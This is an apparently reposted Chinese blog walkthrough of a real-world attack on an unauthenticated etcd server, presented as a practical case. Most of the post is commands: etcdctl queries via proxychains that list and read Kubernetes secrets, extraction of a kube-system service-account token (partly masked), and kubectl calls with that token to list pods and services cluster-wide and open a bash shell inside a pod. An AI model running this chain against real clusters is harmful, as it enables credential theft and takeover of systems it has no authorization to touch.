ETCD 未授权访问实战案例-Toy模板网

这篇具有很好参考价值的文章主要介绍了ETCD 未授权访问实战案例。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

1、发现 etcd 未授权。

https://xxx200:2379/v2/keys

ETCD 未授权访问实战案例,etcd,docker,etcd 未授权,k8s
2、尝试在etcd里查询管理员的token，然后使用该token配合kubectl指令接管集群。

proxychains ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://xxx0:2379/ get / --prefix --keys-only | grep /secrets/

ETCD 未授权访问实战案例,etcd,docker,etcd 未授权,k8s
最终发现/registry/secrets/kube-system/xx-token-xx 为高权限 token。

proxychains ./etcdctl  --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://xxx:2379/ get /registry/secrets/kube-system/tiller-token-xxx

ETCD 未授权访问实战案例,etcd,docker,etcd 未授权,k8s
3、通常情况下 etcd 所在 ip 即为 6443 管理端口所在 ip，探测后发现 6443 端口开放，接下来可通过 kubectl 操作 k8s。
列出kube-system 下所有 pods。

./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJ0xxxrRffRMx6p5lUvCPFm1b8LIY53eeq2jL0EA2ScjHPR26t9-OkGiR0bLPHpq85TmzEywKLvF03XRue_6o7uVc67W7y_7sjSSRSb-MzBHKjCYE-RqQY6-1X2JS_5m3ftlQFrQ2CUgC5HSlBA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" -n kube-system get pods

ETCD 未授权访问实战案例,etcd,docker,etcd 未授权,k8s

列出所有ns的pod、services

proxychains ./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJ0aWxsZXItdG9rZW4tdm5uamciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2xxxA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" get pods,svc --all-namespaces -o wide

ETCD 未授权访问实战案例,etcd,docker,etcd 未授权,k8s
权限证明。

./kubectl --insecure-skip-tls-verify -s https://xxx:6443/ --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcxxxywKLvF03XRue_6o7uVc67W7y_7sjSSRSb-MzBHKjCYE-RqQY6-1X2JS_5m3ftlQFrQ2CUgC5HSlBA2LmP_5fJieVfX1vmL1pshjKK8Z-WlIC0STz_Qr2SLUOjBUGPATnK7yf6_q6gMCZ_p_MJVJ-kr74AxvRAcg" exec -it pod/xxx -n xxx -- bash